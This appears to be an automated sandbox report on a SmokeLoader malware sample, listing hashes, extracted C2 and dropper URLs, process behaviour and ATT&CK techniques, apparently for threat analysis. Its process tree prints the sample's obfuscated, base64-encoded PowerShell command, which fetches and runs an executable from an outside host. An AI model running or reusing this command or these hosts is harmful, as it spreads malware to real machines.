smokeloader | 5de2819f832f06f69009b07779eacabc1b171540b10689b4b23eaac8f3232e14

General

Target

9fbd32c6bb25f6a660696fa9830c5040.exe
Size

847KB
MD5

9fbd32c6bb25f6a660696fa9830c5040
SHA1

1e41347d36792e823a8982b10170d83a0722e3cc
SHA256

5de2819f832f06f69009b07779eacabc1b171540b10689b4b23eaac8f3232e14
SHA512

3b89b40676449390bfdc139aad1ac664cf14213eeed32dfa8e06671a8bcc97fe6facd42331657bdc220a9e38fee2021b1ea7a1c2ace6b89ec5d31d488eb2bdfb

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://u.teknik.io/28oLW.jpg

Extracted

Family

smokeloader

Version

2018

C2

http://94.140.115.43/1/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 464 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

eVDwACBtpW.exe

pid process

1708 eVDwACBtpW.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

464 powershell.exe
464 powershell.exe

flow	pid	process
6	464	powershell.exe

pid	process
1708	eVDwACBtpW.exe

pid	process
464	powershell.exe
464	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

eVDwACBtpW.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	eVDwACBtpW.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	eVDwACBtpW.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2040 powershell.exe
2040 powershell.exe
464 powershell.exe
464 powershell.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

eVDwACBtpW.exe

pid process

1708 eVDwACBtpW.exe
1708 eVDwACBtpW.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2040 powershell.exe
Token: SeDebugPrivilege 464 powershell.exe

pid	process
2040	powershell.exe
2040	powershell.exe
464	powershell.exe
464	powershell.exe

pid	process
1708	eVDwACBtpW.exe
1708	eVDwACBtpW.exe

description	pid	process
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exe

pid	process
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe

Suspicious use of SendNotifyMessage 23 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exe

pid	process
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe
1776	9fbd32c6bb25f6a660696fa9830c5040.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

9fbd32c6bb25f6a660696fa9830c5040.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1776 wrote to memory of 2040	1776	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 1776 wrote to memory of 2040	1776	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 1776 wrote to memory of 2040	1776	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 1776 wrote to memory of 2040	1776	9fbd32c6bb25f6a660696fa9830c5040.exe	powershell.exe
PID 2040 wrote to memory of 464	2040	powershell.exe	powershell.exe
PID 2040 wrote to memory of 464	2040	powershell.exe	powershell.exe
PID 2040 wrote to memory of 464	2040	powershell.exe	powershell.exe
PID 2040 wrote to memory of 464	2040	powershell.exe	powershell.exe
PID 464 wrote to memory of 1708	464	powershell.exe	eVDwACBtpW.exe
PID 464 wrote to memory of 1708	464	powershell.exe	eVDwACBtpW.exe
PID 464 wrote to memory of 1708	464	powershell.exe	eVDwACBtpW.exe
PID 464 wrote to memory of 1708	464	powershell.exe	eVDwACBtpW.exe

C:\Users\Admin\AppData\Local\Temp\9fbd32c6bb25f6a660696fa9830c5040.exe
"C:\Users\Admin\AppData\Local\Temp\9fbd32c6bb25f6a660696fa9830c5040.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:464

C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
"C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe"
4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
PID:1708

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
MD5
0d1334075336455a13a36fd909417556

SHA1
4f1937f0eeeb697ef992547701295134fde65c20

SHA256
33d7fa2a8936cc5064b63592b77f87c02fcdc1396395ae2316e3a7c783523ad9

SHA512
d1f51355db6c4b040196b2588b8f21ef94d11901c7e8ea2c3632622adc791721d044c9a9448c8344406e5cbad2083f140caf9492d3dfef12724d22bb6e549971

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
ae3067e23a7af06ef974bdad797877b7

SHA1
f621492d6dc63df999906cf1e22331a560eb149b

SHA256
029ccdd77aa2cd8ff438dc146bb0f68b5e8a928fcac9ed3fe3932f6fc862205c

SHA512
772a978f8d545809404a1b59dbce5b79120ff5ade1ada35fc796f539d3c8991f26ba8ec79ab0f2386ff7b7bce738596328b383efb54f923eba44988da73b1a6e

Download Submit
\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
MD5
0d1334075336455a13a36fd909417556

SHA1
4f1937f0eeeb697ef992547701295134fde65c20

SHA256
33d7fa2a8936cc5064b63592b77f87c02fcdc1396395ae2316e3a7c783523ad9

SHA512
d1f51355db6c4b040196b2588b8f21ef94d11901c7e8ea2c3632622adc791721d044c9a9448c8344406e5cbad2083f140caf9492d3dfef12724d22bb6e549971

Download Submit
\Users\Admin\AppData\Local\Temp\eVDwACBtpW.exe
MD5
0d1334075336455a13a36fd909417556

SHA1
4f1937f0eeeb697ef992547701295134fde65c20

SHA256
33d7fa2a8936cc5064b63592b77f87c02fcdc1396395ae2316e3a7c783523ad9

SHA512
d1f51355db6c4b040196b2588b8f21ef94d11901c7e8ea2c3632622adc791721d044c9a9448c8344406e5cbad2083f140caf9492d3dfef12724d22bb6e549971

Download Submit
memory/464-93-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/464-94-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/464-68-0x0000000000000000-mapping.dmp

Download
memory/464-73-0x0000000001EA0000-0x0000000002AEA000-memory.dmp

Filesize
12.3MB

Download
memory/464-79-0x0000000005700000-0x0000000005701000-memory.dmp

Filesize
4KB

Download
memory/464-84-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/464-85-0x0000000006330000-0x0000000006331000-memory.dmp

Filesize
4KB

Download
memory/464-92-0x00000000058F0000-0x00000000058F1000-memory.dmp

Filesize
4KB

Download
memory/1204-101-0x0000000002AB0000-0x0000000002AC5000-memory.dmp

Filesize
84KB

Download
memory/1204-100-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/1708-97-0x0000000000000000-mapping.dmp

Download
memory/1776-59-0x0000000075C31000-0x0000000075C33000-memory.dmp

Filesize
8KB

Download
memory/2040-64-0x00000000048D0000-0x00000000048D1000-memory.dmp

Filesize
4KB

Download
memory/2040-63-0x0000000004910000-0x0000000004911000-memory.dmp

Filesize
4KB

Download
memory/2040-62-0x00000000022A0000-0x00000000022A1000-memory.dmp

Filesize
4KB

Download
memory/2040-65-0x00000000048D2000-0x00000000048D3000-memory.dmp

Filesize
4KB

Download
memory/2040-60-0x0000000000000000-mapping.dmp

Download
memory/2040-67-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/2040-66-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads